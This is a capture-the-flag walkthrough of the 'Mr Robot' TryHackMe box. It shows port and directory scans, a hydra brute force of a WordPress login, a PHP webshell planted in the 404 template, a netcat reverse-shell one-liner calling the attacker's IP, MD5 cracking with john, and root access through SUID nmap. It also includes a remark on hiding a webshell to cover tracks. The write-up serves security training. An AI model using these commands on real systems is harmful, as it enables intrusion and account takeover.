Intro

Mr Robot is an easy linux box based on the TV series that hosts a WordPress site. We’ll start with some enumeration to find a wordlist that helps us brute force our way into the WP admin panel. Once we have our shell we find a password hash we can crack to access their account and get the 2nd flag.

Tools Used

  • rustscan
  • hydra
  • Burp Suite
  • john
  • netcat

Recon

Let’s begin with scanning the host to see what services are running.

rustscan -a 10.10.13.242 -- sV sC -oA scans/nmap_initial

PORT    STATE SERVICE  REASON  VERSION
80/tcp  open  http     syn-ack Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http syn-ack Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Issuer: commonName=www.example.com
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2015-09-16T10:45:03
| Not valid after:  2025-09-13T10:45:03
| MD5:   3c16 3b19 87c3 42ad 6634 c1c9 d0aa fb97
| SHA-1: ef0c 5fa5 931a 09a5 687c a2c2 80c4 c792 07ce f71b
| -----BEGIN CERTIFICATE-----
| MIIBqzCCARQCCQCgSfELirADCzANBgkqhkiG9w0BAQUFADAaMRgwFgYDVQQDDA93
| d3cuZXhhbXBsZS5jb20wHhcNMTUwOTE2MTA0NTAzWhcNMjUwOTEzMTA0NTAzWjAa
| MRgwFgYDVQQDDA93d3cuZXhhbXBsZS5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0A
| MIGJAoGBANlxG/38e8Dy/mxwZzBboYF64tu1n8c2zsWOw8FFU0azQFxv7RPKcGwt
| sALkdAMkNcWS7J930xGamdCZPdoRY4hhfesLIshZxpyk6NoYBkmtx+GfwrrLh6mU
| yvsyno29GAlqYWfffzXRoibdDtGTn9NeMqXobVTTKTaR0BGspOS5AgMBAAEwDQYJ
| KoZIhvcNAQEFBQADgYEASfG0dH3x4/XaN6IWwaKo8XeRStjYTy/uBJEBUERlP17X
| 1TooZOYbvgFAqK8DPOl7EkzASVeu0mS5orfptWjOZ/UWVZujSNj7uu7QR4vbNERx
| ncZrydr7FklpkIN5Bj8SYc94JI9GsrHip4mpbystXkxncoOVESjRBES/iatbkl0=
|_-----END CERTIFICATE-----

Enumeration

On port 80 we have some kind of Mr. Robot themed web app.

Default page on port 80

Let’s run some content scans and explore:

ffuf -u http://10.10.13.242/FUZZ -w /usr/share/wordlists/dirb/common.txt -fc 404 -c

.hta                    [Status: 403, Size: 213, Words: 16, Lines: 10]
.htaccess               [Status: 403, Size: 218, Words: 16, Lines: 10]
.htpasswd               [Status: 403, Size: 218, Words: 16, Lines: 10]
                        [Status: 200, Size: 1077, Words: 189, Lines: 31]
0                       [Status: 301, Size: 0, Words: 1, Lines: 1]
admin                   [Status: 301, Size: 234, Words: 14, Lines: 8]
audio                   [Status: 301, Size: 234, Words: 14, Lines: 8]
atom                    [Status: 301, Size: 0, Words: 1, Lines: 1]
blog                    [Status: 301, Size: 233, Words: 14, Lines: 8]
css                     [Status: 301, Size: 232, Words: 14, Lines: 8]
dashboard               [Status: 302, Size: 0, Words: 1, Lines: 1]
favicon.ico             [Status: 200, Size: 0, Words: 1, Lines: 1]
feed                    [Status: 301, Size: 0, Words: 1, Lines: 1]
images                  [Status: 301, Size: 235, Words: 14, Lines: 8]
image                   [Status: 301, Size: 0, Words: 1, Lines: 1]
Image                   [Status: 301, Size: 0, Words: 1, Lines: 1]
index.html              [Status: 200, Size: 1188, Words: 189, Lines: 31]
index.php               [Status: 301, Size: 0, Words: 1, Lines: 1]
intro                   [Status: 200, Size: 496938, Words: 2076, Lines: 2028]
js                      [Status: 301, Size: 231, Words: 14, Lines: 8]
license                 [Status: 200, Size: 309, Words: 25, Lines: 157]
login                   [Status: 302, Size: 0, Words: 1, Lines: 1]
page1                   [Status: 301, Size: 0, Words: 1, Lines: 1]
phpmyadmin              [Status: 403, Size: 94, Words: 14, Lines: 1]
readme                  [Status: 200, Size: 64, Words: 14, Lines: 2]
rdf                     [Status: 301, Size: 0, Words: 1, Lines: 1]
robots                  [Status: 200, Size: 41, Words: 2, Lines: 4]
robots.txt              [Status: 200, Size: 41, Words: 2, Lines: 4]
rss                     [Status: 301, Size: 0, Words: 1, Lines: 1]
rss2                    [Status: 301, Size: 0, Words: 1, Lines: 1]
sitemap                 [Status: 200, Size: 0, Words: 1, Lines: 1]
sitemap.xml             [Status: 200, Size: 0, Words: 1, Lines: 1]
video                   [Status: 301, Size: 234, Words: 14, Lines: 8]
wp-admin                [Status: 301, Size: 237, Words: 14, Lines: 8]
wp-content              [Status: 301, Size: 239, Words: 14, Lines: 8]
wp-includes             [Status: 301, Size: 240, Words: 14, Lines: 8]
wp-config               [Status: 200, Size: 0, Words: 1, Lines: 1]
wp-cron                 [Status: 200, Size: 0, Words: 1, Lines: 1]
wp-load                 [Status: 200, Size: 0, Words: 1, Lines: 1]
wp-links-opml           [Status: 200, Size: 227, Words: 13, Lines: 11]
wp-login                [Status: 200, Size: 2606, Words: 115, Lines: 53]
wp-signup               [Status: 302, Size: 0, Words: 1, Lines: 1]
xmlrpc.php              [Status: 405, Size: 42, Words: 6, Lines: 1]
xmlrpc                  [Status: 405, Size: 42, Words: 6, Lines: 1]

Wow, lots of good stuff. Looks like we have a WordPress site. Let’s check out robots.txt.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/MrRobot]
└─$ curl -i http://10.10.13.242/robots.txt                           
HTTP/1.1 200 OK
Date: Sun, 25 Apr 2021 00:54:12 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Last-Modified: Fri, 13 Nov 2015 07:28:21 GMT
ETag: "29-52467010ef8ad"
Accept-Ranges: bytes
Content-Length: 41
Content-Type: text/plain

User-agent: *
fsocity.dic
key-1-of-3.txt

Nice! We found the first flag. fsocity.dic looks like a wordlist, so let’s download it and see if it can help us brute force our way into the WordPress admin.

We can also clean it up a bit by removing duplicates.

cat fsocity.dic | sort -u > fsociety_unique.dic

That drops the number of lines from over 858k down to just 11.5k.

Now let’s check out the login page at /wp-login.php and try to log in with some default credentials: admin:admin. We’ll need to open up Burp Suite first though so we can inspect the traffic in our proxy.

The default credentials didn’t work, but keeping with the theme, we can guess character names from the show and see that elliot is a valid username since the error message changes to indicate only the password is wrong.

Examine traffic in Burp Suite

Exploitation

Now that we have a username and how to format a login request we can use hydra to try to brute force the password.

We could still brute force even without knowing the username but I like to enumerate as much info as possible first to cut down on the amount of brute force requests. In this case, elliot is also in the wordlist so it would still work.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/MrRobot]
└─$ hydra -l elliot -P fsociety_unique.dic 10.10.13.242 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&testcookie=1:The password you entered"
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-04-24 21:12:13
[DATA] max 16 tasks per 1 server, overall 16 tasks, 11452 login tries (l:1/p:11452), ~716 tries per task
[DATA] attacking http-post-form://10.10.13.242:80/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&testcookie=1:The password you entered
[STATUS] 1318.00 tries/min, 1318 tries in 00:01h, 10134 to do in 00:08h, 16 active
[STATUS] 1180.33 tries/min, 3541 tries in 00:03h, 7911 to do in 00:07h, 16 active
[80][http-post-form] host: 10.10.13.242   login: elliot   password: REDACTED
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-04-24 21:19:00

Aaaaand we’re in!

Wordpress Admin panel

There are a few different ways to get shell access once you’re in the admin panel but my favorite is simply putting a webshell in the 404 page template and using that to spawn a reverse shell.

  1. Navigate to Appearance > Editor
  2. Choose the 404 Template
  3. Replace the template code with a PHP webshell (my favorite is phpbash by Arrexel)
  4. Click “Update File” to save changes
  5. Open a new browser tab and go to an invalid URL like: http://10.10.13.242/asdfas

Replacing the 404 template entirely isn’t the most elegant way to go about this. If this weren’t a CTF I might instead use a different webshell that accepts commands as a hidden query string to cover my tracks a bit better.

Webshell

Now we can open a netcat listener with nc -nlvp 4444 in our terminal and then in the webshell we can pop a reverse shell:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.6.48.252 4444 >/tmp/f

Catch the reverse shell

Upgrading the Shell

Before we start chasing the flags let’s upgrade to a full TTY shell for a better working environment:

  1. Run python -c 'import pty;pty.spawn("/bin/bash")
  2. Ctrl+z
  3. Run stty raw -echo; fg
  4. Hit enter
  5. Run export TERM=xterm

Now we can clear the screen and have tab autocompletion…much more comfortable!

Privilege Escalation

Let’s see what users are able to log in on the system:

daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ cat /etc/passwd | grep -v nologin
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
ftp:x:103:106:ftp daemon,,,:/srv/ftp:/bin/false
bitnamiftp:x:1000:1000::/opt/bitnami/apps:/bin/bitnami_ftp_false
mysql:x:1001:1001::/home/mysql:
varnish:x:999:999::/home/varnish:
robot:x:1002:1002::/home/robot:

If we cd into robot’s home directory we find the 2nd flag, but only robot can read the file. There is another file we can read though, and it looks like the raw md5 hash of their password.

daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ cd /home/robot
daemon@linux:/home/robot$ ls -l
total 8
-r-------- 1 robot robot 33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13  2015 password.raw-md5
daemon@linux:/home/robot$ cat password.raw-md5 
robot:c3fcd3d76192e4007dfb496cca67e13b

Let’s see if we can crack the hash with john.

┌──(brian㉿kali)-[~/…/hacks/tryhackme/MrRobot/loot]
└─$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
REDACTED (robot)
1g 0:00:00:00 DONE (2021-04-24 22:07) 50.00g/s 2035Kp/s 2035Kc/s 2035KC/s bonjour1..teletubbies
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed

Now we can su robot and capture flag #2!

On to root…

A quick sudo -l check shows robot doesn’t have sudo permissions. So we can check for SUID binaries instead.

find / -type f -user root -perm /4000 2>/dev/null

/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown

GTFObins is my go to source for looking up how to escape out of linux binaries to get a shell. Cross checking the list of SUID binaries with GTFObins leads us to our privilege escalaction vector.

We can abuse the SUID bit set on nmap to escape to a root shell and grab the final flag!

robot@linux:~$ nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
# whoami
root
# cd /root
# ls -la
total 32
drwx------  3 root root 4096 Nov 13  2015 .
drwxr-xr-x 22 root root 4096 Sep 16  2015 ..
-rw-------  1 root root 4058 Nov 14  2015 .bash_history
-rw-r--r--  1 root root 3274 Sep 16  2015 .bashrc
drwx------  2 root root 4096 Nov 13  2015 .cache
-rw-r--r--  1 root root    0 Nov 13  2015 firstboot_done
-r--------  1 root root   33 Nov 13  2015 key-3-of-3.txt
-rw-r--r--  1 root root  140 Feb 20  2014 .profile
-rw-------  1 root root 1024 Sep 16  2015 .rnd
# wc -c key-3-of-3.txt
33 key-3-of-3.txt